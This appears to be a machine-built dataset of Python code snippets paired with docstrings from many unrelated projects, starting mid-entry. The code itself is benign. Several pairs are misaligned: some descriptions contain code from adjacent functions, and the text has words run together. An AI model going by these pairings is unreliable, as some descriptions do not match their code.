requires(B >= 1.0) while C requires (B >= 1.1).For successful replacement, ``provider`` must meet all the requirementswhich ``other`` fulfills.:param provider: The provider we are trying to replace with.:param other: The provider we're trying to replace.:param problems: If False is returned, this will contain whatproblems prevented replacement. This is currentlya tuple of the literal string 'cantreplace',``provider``, ``other`` and the set of requirementsthat ``provider`` couldn't fulfill.:return: True if we can replace ``other`` with ``provider``, elseFalse."} {"code": "def pad_tensor(t, length):\n\n rank = len(t.get_shape())\n paddings = [[0 for _ in range(2)] for _ in range(rank)]\n t_d0 = tf.shape(t)[0]\n\n if isinstance(length, int) or len(length.get_shape()) == 0:\n paddings[0][1] = length - t_d0\n else:\n paddings[0][1] = length[0] - t_d0\n\n return tf.pad(t, paddings)\n\n", "nl": "Pads the input tensor with 0s along the first dimension up to the length.Args:t: the input tensor, assuming the rank is at least 1.length: a tensor of shape [1] or an integer, indicating the first dimensionof the input tensor t after padding, assuming length <= t.shape[0].Returns:padded_t: the padded tensor, whose first dimension is length. If the lengthis an integer, the first dimension of padded_t is set to lengthstatically."} {"code": "def _replaceQuotes(self, sQuote, oQuote, cQuote):\n theCursor = self.textCursor()\n if not theCursor.hasSelection():\n self.mainGui.makeAlert(self.tr(\n \"Please select some text before calling replace quotes.\"\n ), nwAlert.ERROR)\n return False\n\n posS = theCursor.selectionStart()\n posE = theCursor.selectionEnd()\n closeCheck = (\n \" \", \"\\n\", nwUnicode.U_LSEP, nwUnicode.U_PSEP\n )\n\n self._allowAutoReplace(False)\n for posC in range(posS, posE+1):\n theCursor.setPosition(posC)\n theCursor.movePosition(QTextCursor.Left, QTextCursor.KeepAnchor, 2)\n selText = theCursor.selectedText()\n\n nS = len(selText)\n if nS == 2:\n pC = selText[0]\n cC = selText[1]\n elif nS == 1:\n pC = \" \"\n cC = selText[0]\n else:\n continue\n\n if cC != sQuote:\n continue\n\n theCursor.clearSelection()\n theCursor.setPosition(posC)\n if pC in closeCheck:\n theCursor.beginEditBlock()\n theCursor.movePosition(QTextCursor.Left, QTextCursor.KeepAnchor, 1)\n theCursor.insertText(oQuote)\n theCursor.endEditBlock()\n else:\n theCursor.beginEditBlock()\n theCursor.movePosition(QTextCursor.Left, QTextCursor.KeepAnchor, 1)\n theCursor.insertText(cQuote)\n theCursor.endEditBlock()\n\n self._allowAutoReplace(True)\n\n return True\n", "nl": "Replace all straight quotes in the selected text."} {"code": "def assert_rank(tensor, expected_rank, name=None):\n if name is None:\n name = tensor.name\n\n expected_rank_dict = {}\n if isinstance(expected_rank, six.integer_types):\n expected_rank_dict[expected_rank] = True\n else:\n for x in expected_rank:\n expected_rank_dict[x] = True\n\n actual_rank = tensor.shape.ndims\n if actual_rank not in expected_rank_dict:\n scope_name = tf.get_variable_scope().name\n raise ValueError(\n \"For the tensor `%s` in scope `%s`, the actual rank \"\n \"`%d` (shape = %s) is not equal to the expected rank `%s`\" %\n (name, scope_name, actual_rank, str(tensor.shape), str(expected_rank)))", "nl": "Raises an exception if the tensor rank is not of the expected rank.Args:tensor: A tf.Tensor to check the rank of.expected_rank: Python integer or list of integers, expected rank.name: Optional name of the tensor for the error message.Raises:ValueError: If the expected shape doesn't match the actual shape."} {"code": "def handle_401(self, r, **kwargs):\n\n if not 400 <= r.status_code < 500:\n self._thread_local.num_401_calls = 1\n return r\n\n if self._thread_local.pos is not None:\n r.request.body.seek(self._thread_local.pos)\n s_auth = r.headers.get('www-authenticate', '')\n\n if 'digest' in s_auth.lower() and self._thread_local.num_401_calls < 2:\n\n self._thread_local.num_401_calls += 1\n pat = re.compile(r'digest ', flags=re.IGNORECASE)\n self._thread_local.chal = parse_dict_header(pat.sub('', s_auth, count=1))\n\n r.content\n r.close()\n prep = r.request.copy()\n extract_cookies_to_jar(prep._cookies, r.request, r.raw)\n prep.prepare_cookies(prep._cookies)\n\n prep.headers['Authorization'] = self.build_digest_header(\n prep.method, prep.url)\n _r = r.connection.send(prep, **kwargs)\n _r.history.append(r)\n _r.request = prep\n\n return _r\n\n self._thread_local.num_401_calls = 1\n return r\n", "nl": "Takes the given response and tries digest-auth, if needed.:rtype: requests.Response"} {"code": "def expand_encoder_outputs(self, en, dr, x_mask, y_mask):\n attn = self.generate_attn(dr, x_mask, y_mask)\n o_en_ex = torch.matmul(attn.squeeze(1).transpose(1, 2).to(en.dtype), en.transpose(1, 2)).transpose(1, 2)\n return o_en_ex, attn\n", "nl": "Generate attention alignment map from durations andexpand encoder outputsShapes:- en: :math:`(B, D_{en}, T_{en})`- dr: :math:`(B, T_{en})`- x_mask: :math:`(B, T_{en})`- y_mask: :math:`(B, T_{de})`Examples::encoder output: [a,b,c,d]durations: [1, 3, 2, 1]expanded: [a, b, b, b, c, c, d]attention map: [[0, 0, 0, 0, 0, 0, 1],[0, 0, 0, 0, 1, 1, 0],[0, 1, 1, 1, 0, 0, 0],[1, 0, 0, 0, 0, 0, 0]]"} {"code": "def pick_and_display_buffer(self, i):\n if len(self.buffers) == 1:\n return\n else:\n try:\n self.display_buffer(self.buffers[i])\n except IndexError:\n self.display_buffer(self.buffers[0])\n\n @property", "nl": "pick i-th buffer from list and display it:param i: int:return: None"} {"code": "def get_pairs(word):\n pairs = set()\n prev_char = word[0]\n for char in word[1:]:\n pairs.add((prev_char, char))\n prev_char = char\n return pairs\n\nclass GPT2Tokenizer(PreTrainedTokenizer):\n \"\"\"\n vocab_files_names = VOCAB_FILES_NAMES\n pretrained_vocab_files_map = PRETRAINED_VOCAB_FILES_MAP\n max_model_input_sizes = PRETRAINED_POSITIONAL_EMBEDDINGS_SIZES\n", "nl": "Return set of symbol pairs in a word.Word is represented as tuple of symbols (symbols being variable-length strings)."} {"code": "def ligands(self):\n\n return StructureSet() if self._model is None else StructureSet(\n *[l for l in self._model._ligands.structures if l._chain is self]\n )\n\n", "nl": "Returns all the ligands associated with the chain - but only if thechain is part of a model.:rtype: ``set``"} {"code": "def square(x):\n return _apply_function(x, 'square')\n\n", "nl": "Computes square of x element-wise.# Argumentsx: Functional object.# ReturnsA new functional object."} {"code": "def get_adjustments(self, assets, field, dt, perspective_dt):\n if isinstance(assets, Asset):\n assets = [assets]\n\n adjustment_ratios_per_asset = []\n", "nl": "Returns a list of adjustments between the dt and perspective_dt for thegiven field and list of assetsParameters----------assets : list of type Asset, or AssetThe asset, or assets whose adjustments are desired.field : {'open', 'high', 'low', 'close', 'volume', \\'price', 'last_traded'}The desired field of the asset.dt : pd.TimestampThe timestamp for the desired value.perspective_dt : pd.TimestampThe timestamp from which the data is being viewed back from.data_frequency : strThe frequency of the data to query; i.e. whether the data is'daily' or 'minute' barsReturns-------adjustments : list[Adjustment]The adjustments to that field."} {"code": "def add_templates(self):\n return py.path.local(self.root)\n", "nl": " Add Templates self.add_test_project(\"templates\")@propertydef tmpdir(self): Tmp Dir "} {"code": "def getheightwidth(self):\n pass\n", "nl": "Return (height, width) where height and width are the heightand width of the terminal window in characters."} {"code": "def l2_loss(infer, label, loss_type, layer_name):\n assert(loss_type == 'SUM' or loss_type == 'MEAN')\n with tf.variable_scope(layer_name):\n if loss_type == 'SUM':\n loss = tf.reduce_sum(tf.square(infer - label))\n else:\n loss = tf.reduce_mean(tf.square(infer - label))\n\n return loss\n\n", "nl": "Args:loss_type: 'SUM', 'MEAN''SUM' uses reduce_sum'MEAN' uses reduce_mean"} {"code": "def test_spectrogram(self):\n tr = Trace(data=np.arange(250))\n tr.stats.sampling_rate = 20\n tr.spectrogram(show=False)\n", "nl": "Tests spectrogram method if matplotlib is installed"} {"code": "def timestamp(self):\n pass\n\n @property\n @abc.abstractmethod", "nl": "When the product was originally created"} {"code": "def det_each(A, log=False):\n D = batched_matrix_op(A, tt.nlinalg.Det(), 0)\n return tt.log(D) if log else D\n\n", "nl": "Calculate determinants for a set of matrices stored in an N-D array. Therows and columns of each matrix must correspond to the last 2 dimensions ofthe array, which must be equal."} {"code": "def __getattr__(self, key):\n Add a mapping to this Attr, creating a new, merged Attr.\n other: A mapping.\n NOTE: Addition is not commutative. a + b != b + a.\n \"\"\"", "nl": "Access an item as an attribute.if key not in self or not self._valid_name(key):raise AttributeError(\"'{cls}' instance has no attribute '{name}'\".format(cls=self.__class__.__name__, name=key))return self._build(self[key])def __add__(self, other):"} {"code": "def get_default_config_help(self):\n return {", "nl": "Returns the help text for the configuration options for this handler"} {"code": "def groups_from_get_groups_response(cls, response):\n response_dict = json.loads(response.text)\n groups = []\n\n for entry in response_dict[cls.get_reports_value_key]:\n groups.append(Group.from_dict(entry))\n\n return groups", "nl": "Creates a list of groups from a http response object:param response:The http response object:return: listThe list of groups"} {"code": "def require_email(request):\n strategy = load_strategy()\n partial_token = request.GET.get('partial_token')\n partial = strategy.partial_load(partial_token)\n return {\n 'country_required': True,\n 'partial_backend_name': partial.backend,\n 'partial_token': partial_token\n }\n\n\n@render_to('home.html')", "nl": "Email required pagestrategy = load_strategy()partial_token = request.GET.get('partial_token')partial = strategy.partial_load(partial_token)return {'email_required': True,'partial_backend_name': partial.backend,'partial_token': partial_token}@render_to('home.html')def require_country(request):Country required page"} {"code": "def combine_data_main(data1,data2,lookup,foutput):\n\n max_orthologs = 0\n for probe_set_id in data1.keys():\n max_orthologs = max(max_orthologs,len(lookup(probe_set_id)))\n logging.debug(\"Max_orthologs = %d\" % max_orthologs)\n\n line = [data1.header()]\n for i in range(1,max_orthologs+1):\n logging.debug(\"Adding header set\n for item in data2.header().split('\\t'): line.append(\"%s_%s\" % (item,i))\n foutput.write(\"%s\\n\" % '\\t'.join(line))\n\n for probe_set_id in data1.keys():\n line = [data1.fetch(probe_set_id)]\n logging.debug(\"Processing probe set ID %s\" % probe_set_id)\n for ortholog_probe_set_id in lookup(probe_set_id):\n ortholog_data = data2.fetch(ortholog_probe_set_id)\n if ortholog_data is not None:\n line.append(ortholog_data)\n foutput.write(\"%s\\n\" % '\\t'.join(line))\n\n", "nl": "Append data from one file to another using a lookupArguments:data1: IndexedFile object populated with data fromtab-delimited file with first column being probe set idsdata2: IndexedFile object populated with data fromtab-delimited file with first column being probe set idsprobe set idslookup: function object instance which returns probe set idsin data2 that match a probe set id in data1.(Note that the 'lookup' and 'reverse_lookup' methods of theProbeSetLookup class can fulfill this function.)fout: file-like object opened for writing, to output linesfrom data1 appended with data from data2"} {"code": "def _obtain_metadata_for_dnode(self, dnode):\n\n if dnode.is_entity():", "nl": "Returns metadata for the specified descriptor node."} {"code": "def iter_symbols(code):\n zip file will be named 'base_dir' + \".zip\". Uses either the \"zipfile\"\n Python module (if available) or the InfoZIP \"zip\" utility (if installed", "nl": "Yield names and strings used by `code` and its nested code objectsfor name in code.co_names:yield namefor const in code.co_consts:if isinstance(const, str):yield constelif isinstance(const, CodeType):for name in iter_symbols(const):yield namedef can_scan():if not sys.platform.startswith('java') and sys.platform != 'cli':# CPython, PyPy, etc.return Truelog.warn(\"Unable to analyze compiled code on this platform.\")log.warn(\"Please ask the author to include a 'zip_safe'\"\" setting (either True or False) in the package's setup.py\")# Attribute names of options for commands that might need to be convinced to# install to the egg build directoryINSTALL_DIRECTORY_ATTRS = ['install_lib', 'install_dir', 'install_data', 'install_base']def make_zipfile(zip_filename, base_dir, verbose=0, dry_run=0, compress=True,mode='w'):Create a zip file from all the files under 'base_dir'. The output"} {"code": "def get_articles(self):\n query_results = Search(query=self._arxiv_query,\n max_results=self.max_results,\n sort_by=SortCriterion.SubmittedDate).get()\n search_results = self._to_search_results(query_results)\n return search_results\n", "nl": "Retrieve articles from arxiv placing an API call via the arxivpackage.:return: (SearchResults) Sequence of articles retrieved from arxiv"} {"code": "def process_nb(self):\n process_numbers = []\n for frontend in self._frontend_per_proc:\n process_numbers.append(frontend.process_nb)\n\n return process_numbers\n\n @property", "nl": "Return a list of process number in which frontend is configured.:rtype: ``list``Usage::>>> from haproxyadmin import haproxy>>> hap = haproxy.HAProxy(socket_dir='/run/haproxy')>>> frontend = hap.frontend('frontend2_proc34')>>> frontend.process_nb[4, 3]"} {"code": "def create_results_connection(self, query, offset, length):\n return_obj = {}\n response_dict = {}\n try:\n offset = int(offset)\n length = int(length)\n if isinstance(query, dict):\n query = json.dumps(query)\n response_wrapper = self.api_client.get_search_results(query)\n if response_wrapper.response.history:\n if response_wrapper.response.history[0].status_code == 302:\n raise InvalidAuthenticationException\n if response_wrapper.code == 200:\n return_obj['success'] = True\n elif 399 < response_wrapper.code < 500:\n raise InvalidRequestException(response_wrapper.response.text)\n elif response_wrapper.code == 500:\n raise InternalServerErrorException(response_wrapper.response.text)\n\n response_dict = json.loads(response_wrapper.read().decode('utf-8'))\n results = self.get_results_data(response_dict)\n return_obj['data'] = results[offset:length]\n\n response_wrapper = self.api_client.session_log_out(response_wrapper)\n if not response_wrapper.code == 200:\n raise InvalidRequestException(response_wrapper.response.text)\n\n except InvalidAuthenticationException:\n response_dict['type'] = \"AuthenticationError\"\n response_dict['message'] = \"Invalid Authentication\"\n ErrorResponder.fill_error(return_obj, response_dict, ['message'], connector=self.connector)\n except ConnectionError:\n response_dict['type'] = \"ConnectionError\"\n response_dict['message'] = \"Invalid Host/Port\"\n ErrorResponder.fill_error(return_obj, response_dict, ['message'], connector=self.connector)\n except Exception as ex:\n response_dict['type'] = ex.__class__.__name__\n response_dict['message'] = ex\n self.logger.error('error when getting search results: %s', ex)\n ErrorResponder.fill_error(return_obj, response_dict, ['message'], connector=self.connector)\n return return_obj\n", "nl": "Fetching the results using query, offset and length:param query: str, Data Source query:param offset: str, Offset value:param length: str, Length value:return: dict"} {"code": "def supports_prefetch(self):\n raise NotImplementedError\n\n\nclass FairseqIterableDataset(torch.utils.data.IterableDataset, EpochListening):\n \"\"\"For datasets that need to be read sequentially, usually because the data\n", "nl": "Whether this dataset supports prefetching.return Falsedef attr(self, attr: str, index: int):return getattr(self, attr, None)def prefetch(self, indices):Prefetch the data required for this epoch."} {"code": "def read_file(self, path):\n ftp = self.connection.open_sftp()\n\n fd, path_to_tmp = tempfile.mkstemp()\n os.close(fd)\n ftp.get(path, path_to_tmp)\n\n path_to_tmp = Path(path_to_tmp)\n content = path_to_tmp.read_text()\n path_to_tmp.unlink()\n\n ftp.close()\n\n return content\n", "nl": "Read file in remote path"} {"code": "def _write(self, stream, text, byte_order):\n if text:\n self._write_txt(stream)\n else:\n if self._have_list:\n self._write_bin(stream, byte_order)\n else:\n self.data.astype(self.dtype(byte_order),\n copy=False).tofile(stream)\n", "nl": "Write the data to a PLY file."} {"code": "def search_notes(ctx, **kwargs):\n keep = ctx.obj['keep']\n for note in keep.find(**query_params(keep, **kwargs)):\n print_note(note)\n\n\n@notes.command('get', options_metavar='[options]')", "nl": "Search for notes using filters or/and use query text. For example:.. code-block:: shellgkeep notes search --not-deleted \"GKeep installed\"The syntax is:"} {"code": "def clear_history(self):\n if filename is None:\n filename=self.history_filename\n try:\n for line in open(filename, 'r'):\n self.add_history(lineobj.ReadLineTextBuffer(line.rstrip()))\n except IOError:\n self.history = []\n self.history_cursor = 0\n", "nl": "Clear readline history.self.history[:] = []self.history_cursor = 0def read_history_file(self, filename=None):Load a readline history file."} {"code": "def testCreateCloseConsumer(self):\n self._connectToClient()\n exchangeName = \"testExchange\"\n exchangeType = \"direct\"\n queueName = \"testQueue\"\n routingKey = \"testKey\"\n\n self.client.declareExchange(exchangeName, exchangeType)\n self.client.declareQueue(queueName)\n self.client.bindQueue(queueName, exchangeName, routingKey)\n\n for i in range(0, _NUM_TEST_MESSAGES):\n self.client.publish(Message(\"test-msg-%d\" % (i)),\n exchangeName,\n routingKey)\n self._verifyQueue(queueName, testMessageCount=_NUM_TEST_MESSAGES)\n\n consumer = self.client.createConsumer(queueName)\n\n for i in range(0, _NUM_TEST_MESSAGES):\n message = self.client.getNextEvent()\n self.assertEqual(message.body, \"test-msg-%d\" % (i))\n self.assertEqual(message.properties, BasicProperties())\n self.assertEqual(message.methodInfo,\n MessageDeliveryInfo(consumerTag=consumer.tag,\n deliveryTag=(i+1),\n redelivered=False,\n exchange=exchangeName,\n routingKey=routingKey))\n\n", "nl": " Tests creation and close of a consumer. self._connectToClient()queueName = \"testQueue\"self.client.declareQueue(queueName)# Test creation of consumerconsumer = self.client.createConsumer(queueName)self.assertIsInstance(consumer, Consumer)self.assertNotEqual(consumer.tag, \"\")consumers = requests.get(url=\"http://%s:%s/api/consumers/%s\" % (self.connParams.host,self.connParams.port,self.connParams.vhost),auth=(self.connParams.username, self.connParams.password)).json()consumersList = [c for c in consumers if c[\"queue\"][\"name\"] == queueName]self.assertTrue(consumersList)self.assertEqual(consumersList[0][\"consumer_tag\"], consumer.tag)consumer.cancel()consumers = requests.get(url=\"http://%s:%s/api/consumers/%s\" % (self.connParams.host,self.connParams.port,self.connParams.vhost),auth=(self.connParams.username, self.connParams.password)).json()consumersList = [c for c in consumers if c[\"queue\"][\"name\"] == queueName]self.assertFalse(consumersList)def testConsumerGetNextEvent(self): Tests getting messages using a consumer and getNextEvent(). "} {"code": "def test_requires_privilege_no_current_role(self):\n @requires_privilege(self.zazzle_privilege.slug, domain='zizzle')", "nl": "When a privilege is required but there is no role attachedto the current request, permission is denied. No crashing."} {"code": "def test_cors_config_origin_allow_all_false_with_whitelisted_origin_2(app):\n request_headers = {\"Origin\": \"http://thirdpartyrequests.org\"}\n response = app.get(\"/simple_flask\", headers=request_headers)\n response_headers = dict(response.headers)\n\n assert \"Access-Control-Allow-Origin\" in response_headers\n assert (\n response_headers[\"Access-Control-Allow-Origin\"]\n == \"http://thirdpartyrequests.org\"\n )\n assert (\n response_headers[\"Access-Control-Allow-Methods\"]\n == \"POST, PUT, GET, DELETE, OPTIONS\"\n )\n assert (\n response_headers[\"Access-Control-Allow-Headers\"]\n == \"X-CKAN-API-KEY, Authorization, Content-Type\"\n )\n\n\n@pytest.mark.ckan_config(\"ckan.cors.origin_allow_all\", \"false\")\n@pytest.mark.ckan_config(\n \"ckan.cors.origin_whitelist\",\n \"http://google.com http://thirdpartyrequests.org http://yahoo.co.uk\",\n)\n@pytest.mark.ckan_config(\"ckan.site_url\", \"http://test.ckan.org\")\n@pytest.mark.ckan_config(\"ckan.plugins\", \"test_routing_plugin\")\n@pytest.mark.usefixtures(\"with_plugins\")", "nl": "With origin_allow_all set to false, with an origin in the requestheader, and a whitelist defined (containing the origin), theappropriate Access-Control-Allow headers should be in the response."} {"code": "def test_bad_adjective_num():\n\n bad = random_string()\n rv, out = getstatusoutput(f'{prg} -n {bad}')\n assert rv != 0\n assert re.search(f\"invalid int value: '{bad}'\", out)\n\n", "nl": "bad_adjectivesn = random.choice(range(-10, 0))rv, out = getstatusoutput(f'{prg} -a {n}')print(out)assert rv != 0assert re.search(f'--adjectives \"{n}\" must be > 0', out)# --------------------------------------------------def test_bad_number_str():bad_number"} {"code": "def resnet34(**kwargs):\n model = ResNet(BasicBlock, [3, 4, 6, 3], **kwargs)\n return model\n", "nl": "Constructs a ResNet-34 model."} {"code": "def is_software_package(self, path):\n raise NotImplementedError\n", "nl": "Determines if the given file at :param:`path` is a software packageThis check will be used to determine if :method:`load_package_info`will be called for file at :param:`path`. This method should beimplemented by classes inheriting from :class:`DistroPkgInfoLoader` andcould be as simple as checking for a file suffix.:param path: path to the software package file:type path: str:return: either True if the file is a valid software package or Falseotherwise:rtype: bool"} {"code": "def replace_port(self, port_name, *interface_attr_tuples):\n ofport = INVALID_OFPORT\n try:\n ofport = self._get_port_val(port_name, \"ofport\")\n except tenacity.RetryError:\n LOG.exception(\"Timed out retrieving ofport on port %s.\",\n port_name)\n return ofport\n\n @_ovsdb_retry", "nl": "Replace existing port or create it, and configure port interface.# NOTE(xiaohhui): If del_port is inside the transaction, there will# only be one command for replace_port. This will cause the new port# not be found by system, which will lead to Bug #1519926.self.ovsdb.del_port(port_name).execute()with self.ovsdb.transaction() as txn:txn.add(self.ovsdb.add_port(self.br_name, port_name,may_exist=False))self._set_port_dead(port_name, txn)# TODO(mangelajo): We could accept attr tuples for the Port too# but, that could potentially break usage of this function in# stable branches (where we need to backport).# https://review.opendev.org/#/c/564825/4/neutron/agent/common/# ovs_lib.py@289if interface_attr_tuples:txn.add(self.ovsdb.db_set('Interface', port_name,*interface_attr_tuples))def _set_port_dead(self, port_name, txn):# NOTE(mangelajo): Port is added to dead vlan (4095) by default# until it's handled by the neutron-openvswitch-agent. Otherwise it# may trigger issues on ovs-vswitchd related to the# datapath flow revalidator thread, see lp#1767422txn.add(self.ovsdb.db_set('Port', port_name, ('tag', ovs_constants.DEAD_VLAN_TAG)))# Just setting 'tag' to 4095 is not enough to prevent any traffic# to/from new port because \"access\" ports do not have 802.1Q header# and hence are not matched by default 4095-dropping rule.# So we also set \"vlan_mode\" attribute to \"trunk\" and \"trunks\"=[4095]# With this OVS normal pipeline will allow only packets tagged with# 4095 from such ports, which normally not happens,# but even if it does - default rule in br-int will drop them anyway.# Thus untagged packets from such ports will also be dropped until# ovs agent sets proper VLAN tag and clears vlan_mode to default# (\"access\"). See lp#1930414 for details.txn.add(self.ovsdb.db_set('Port', port_name, ('vlan_mode', 'trunk')))txn.add(self.ovsdb.db_set('Port', port_name, ('trunks', ovs_constants.DEAD_VLAN_TAG)))def delete_port(self, port_name):self.ovsdb.del_port(port_name, self.br_name).execute()def run_ofctl(self, cmd, args, process_input=None):debtcollector.deprecate(\"Use of run_ofctl is \"\"deprecated\", removal_version='V')full_args = [\"ovs-ofctl\", cmd,\"-O\", self._highest_protocol_needed,self.br_name] + args# TODO(kevinbenton): This error handling is really brittle and only# detects one specific type of failure. The callers of this need to# be refactored to expect errors so we can re-raise and they can# take appropriate action based on the type of error.for i in range(1, 11):try:return utils.execute(full_args, run_as_root=True,process_input=process_input,privsep_exec=True)except Exception as e:if \"failed to connect to socket\" in str(e):LOG.debug(\"Failed to connect to OVS. Retrying \"\"in 1 second. Attempt: %s/10\", i)time.sleep(1)continueLOG.error(\"Unable to execute %(cmd)s. Exception: \"\"%(exception)s\",{'cmd': full_args, 'exception': e})breakdef count_flows(self):flow_list = self.run_ofctl(\"dump-flows\", []).split(\"\\n\")[1:]return len(flow_list) - 1def remove_all_flows(self):self.run_ofctl(\"del-flows\", [])def list_meter_features(self):# For fullstack test mainlyf_list = self.run_ofctl(\"meter-features\", []).split(\"\\n\")[1:]max_meter = max_bands = support_drop = support_caps = Nonefor output in f_list:match = MAX_METER_REGEX.match(output)if match:max_meter = match.group(1)max_bands = match.group(2)match = BAND_TYPES_REGEX.match(output)if match:support_drop = match.group(1)match = CAPS_REGEX.match(output)if match:support_caps = [match.group(1), match.group(2),match.group(3), match.group(4)]return all([max_meter, max_bands, support_drop, support_caps])@_ovsdb_retrydef _get_port_val(self, port_name, port_val):return self.db_get_val(\"Interface\", port_name, port_val)def get_port_ofport(self, port_name):Get the port's assigned ofport, retrying if not yet assigned."} {"code": "def GetFilteredObjects(self):\n objects = list()\n for x in self.groups:\n objects.extend(x.modelObjects)\n return objects\n\n", "nl": "Return the model objects that are actually displayed in the control."} {"code": "def p_command(p):\n\n if p[1][0] in ( 'simple_command',\n 'for_clause',\n 'while_clause',\n 'until_clause',\n 'case_clause',\n 'if_clause',", "nl": "command : simple_command| compound_command| compound_command redirect_list| function_definition"} {"code": "def get_plugin(plugin_name: str, plugin_type: str = None) -> Plugin:\n\n prefix = getattr(sys, '_MEIPASS', os.path.abspath(os.path.dirname(__file__))) + os.sep\n with open(prefix + 'plugins.json', 'r') as pluginfile:\n plugins = json.loads(pluginfile.read())\n\n if plugin_type == None:\n if plugin_name in plugins['core']:\n plugin_type = 'core'\n elif plugin_name in plugins['build']:\n plugin_type = 'build'\n elif plugin_name in plugins['command']:\n plugin_type = 'command'\n elif plugin_name in plugins['release']:\n plugin_type = 'release'\n else:\n raise PluginNotFound('The plugin `{}` could not be found.'.format(plugin_name))\n\n distribution = plugins[plugin_type][plugin_name]['dist']\n from pkg_resources import load_entry_point\n plugin = load_entry_point(distribution, 'sailboat_plugins', plugin_name)\n return (plugin_type, plugin)", "nl": "Returns a tuple of (plugin type, plugin) with the given plugin_name.If plugin_type is None, then the first plugin match is used.If a plugin is not found then a PluginNotFound exception is raised."} {"code": "def get_default_config(self):", "nl": "Returns the default collector settings"} {"code": "def ensure_removed(obj, attr):\n try:\n yield\n finally:\n try:\n delattr(obj, attr)\n except AttributeError:\n pass\n obj._accessors.discard(attr)\n\n\nclass MyAccessor:", "nl": "Ensure that an attribute added to 'obj' during the test isremoved when we're done"} {"code": "def test_onePatternTag(self):\n self.assertStringEqual(\n self.flatten(IQ(div(pattern=\"foo\")).onePattern(\"foo\")),\n \"
\")\n\n", "nl": "A L{Tag} returned from L{IQ.onePattern} is represented in the flattenedoutput."} {"code": "def get_filepath(self):\n process_handle = self.open_process()\n\n NT_SUCCESS = lambda val: val >= 0\n\n pbi = create_string_buffer(200)\n size = c_int()\n\n NTDLL.NtQueryInformationProcess.restype = c_int\n\n ret = NTDLL.NtQueryInformationProcess(process_handle,\n 27,\n byref(pbi),\n sizeof(pbi),\n byref(size))\n\n KERNEL32.CloseHandle(process_handle)\n\n if NT_SUCCESS(ret) and size.value > 8:\n try:\n fbuf = pbi.raw[8:]\n fbuf = fbuf[:fbuf.find(\"\\x00\\x00\")+1]\n return fbuf.decode(\"utf16\", errors=\"ignore\")\n except:\n return \"\"\n\n return \"\"\n", "nl": "Get process image file path.@return: decoded file path."} {"code": "def unschedule(self, callback):", "nl": "Remove a previous schedule eventself._events = [x for x in self._events if x.callback() != callback]def _process_events(self):for event in self._events[:]:if event.tick(self._last_tick) == False:# event may be already removed by the callbackif event in self._events:self._events.remove(event)# create a default clock_default_clock = Clock()# make it availabledef getClock():Return the clock instance used by PyMT"} {"code": "def test_delete(self):\n collection = CRUDCollection()\n collection.create(\"one\", 1)\n collection.create(\"two\", 2)\n\n keyvalue_pairs = collection.read_all()\n assert {(\"one\", 1), (\"two\", 2)} == set(keyvalue_pairs)\n", "nl": "Test that the delete method works correctly.collection = CRUDCollection()collection.create(\"one\", 1)assert collection.read(\"one\") == 1collection.delete(\"one\")assert collection.read(\"one\") is Nonedef test_read_all(self):Test that the read_all method works correctly."} {"code": "def params(dim):\n\n @pytest.mark.parametrize(\"threshold\", [False])", "nl": "Trainable parameters initialized as a slight perturbation from all zerosreturn np.array([0.01 * i for i in range(dim - 1)])@pytest.mark.parametrize(\"dim\", [4])@pytest.mark.parametrize(\"n_mean\", [1])@pytest.mark.usefixtures(\"vgbs\")class TestStochastic:Tests for the class ``train.Stochastic``"} {"code": "def remove_outliers(features, targets, con=1.4826, dev=3., constraint=None):", "nl": "Preprocessing routine to remove outliers by median absolute deviation.This will take the training feature and target arrays, calculate anyoutliers, then return the reduced arrays. It is possible to set aconstraint key ('high', 'low', None) in order to allow for outliers thatare e.g. very low in energy, as this may be the desired outcome of thestudy.Parameters----------features : arrayFeature matrix for training data.targets : listList of target values for the training data.con : floatConstant scale factor dependent on the distribution. Default is 1.4826expecting the data is normally distributed.dev : floatThe number of deviations from the median to account for.constraint : strCan be set to 'low' to remove candidates with targets that are toosmall/negative or 'high' for outliers that are too large/positive.Default is to remove all."} {"code": "def get_quantile_breaks_exact_int(self, num_breaks):\n return list(self.srdd.quantileBreaksExactInt(num_breaks))\n\n\nclass CachableLayer(object):\n \"\"\"\n", "nl": "Returns quantile breaks for this Layer.This version uses the ``FastMapHistogram``, which counts exact integer values.If your layer has too many values, this can cause memory errors.Args:num_breaks (int): The number of breaks to return.Returns:``[int]``"} {"code": "def assertForwardsToSubunit(self, methodName, *args, **kwargs):\n stream = BytesIO()\n\n subunitClient = reporter.TestProtocolClient(stream)\n subunitReturn = getattr(subunitClient, methodName)(*args, **kwargs)\n subunitOutput = stream.getvalue()\n reporterReturn = getattr(self.result, methodName)(*args, **kwargs)\n self.assertEqual(subunitReturn, reporterReturn)\n self.assertEqual(subunitOutput, self.stream.getvalue())\n\n", "nl": "Assert that 'methodName' on L{SubunitReporter} forwards to theequivalent method on subunit.Checks that the return value from subunit is returned from theL{SubunitReporter} and that the reporter writes the same data to itsstream as subunit does to its own.Assumes that the method on subunit has the same name as the method onL{SubunitReporter}."} {"code": "def package_relationship_delete(context: Context, data_dict: DataDict) -> ActionResult.PackageRelationshipDelete:\n model = context['model']\n id, id2, rel = _get_or_bust(data_dict, ['subject', 'object', 'type'])\n\n pkg1 = model.Package.get(id)\n pkg2 = model.Package.get(id2)\n if not pkg1:\n raise NotFound('Subject package %r was not found.' % id)\n if not pkg2:\n raise NotFound('Object package %r was not found.' % id2)\n\n existing_rels = pkg1.get_relationships_with(pkg2, rel)\n if not existing_rels:\n raise NotFound\n\n relationship = existing_rels[0]\n\n context['relationship'] = relationship\n _check_access('package_relationship_delete', context, data_dict)\n\n relationship.delete()\n model.repo.commit()\n", "nl": "Delete a dataset (package) relationship.You must be authorised to delete dataset relationships, and to edit boththe subject and the object datasets.:param subject: the id or name of the dataset that is the subject of therelationship:type subject: string:param object: the id or name of the dataset that is the object of therelationship:type object: string:param type: the type of the relationship:type type: string"} {"code": "def sort_rbs_by_regions(self, regionset, merge_rbs=True):\n \"\"\"Sort the DBS by given GenomicRegionSet\"\"\"", "nl": "Sort the DBS by given GenomicRegionSetresult = OrderedDict()#txp_copy = copy.deepcopy(self)#txp_copy.sort_dbs()self.sort_dbs()if not regionset.sorted: regionset.sort()for region in regionset:result[region.toString()] = BindingSiteSet(\"binding site:\"+region.toString())if len(self) == 0:return result#iter_rd = iter(txp_copy)iter_rd = iter(self)rd = next(iter_rd)last_j = len(regionset)-1j = 0cont_loop = Truepre_inter = 0cont_overlap = Falsewhile cont_loop:# When the regions overlapif rd.dna.overlap(regionset[j]):result[regionset[j].toString()].add(rd.rna)if cont_overlap == False: pre_inter = jif j == last_j:try: rd = next(iter_rd)except: cont_loop = Falseelse:j = j + 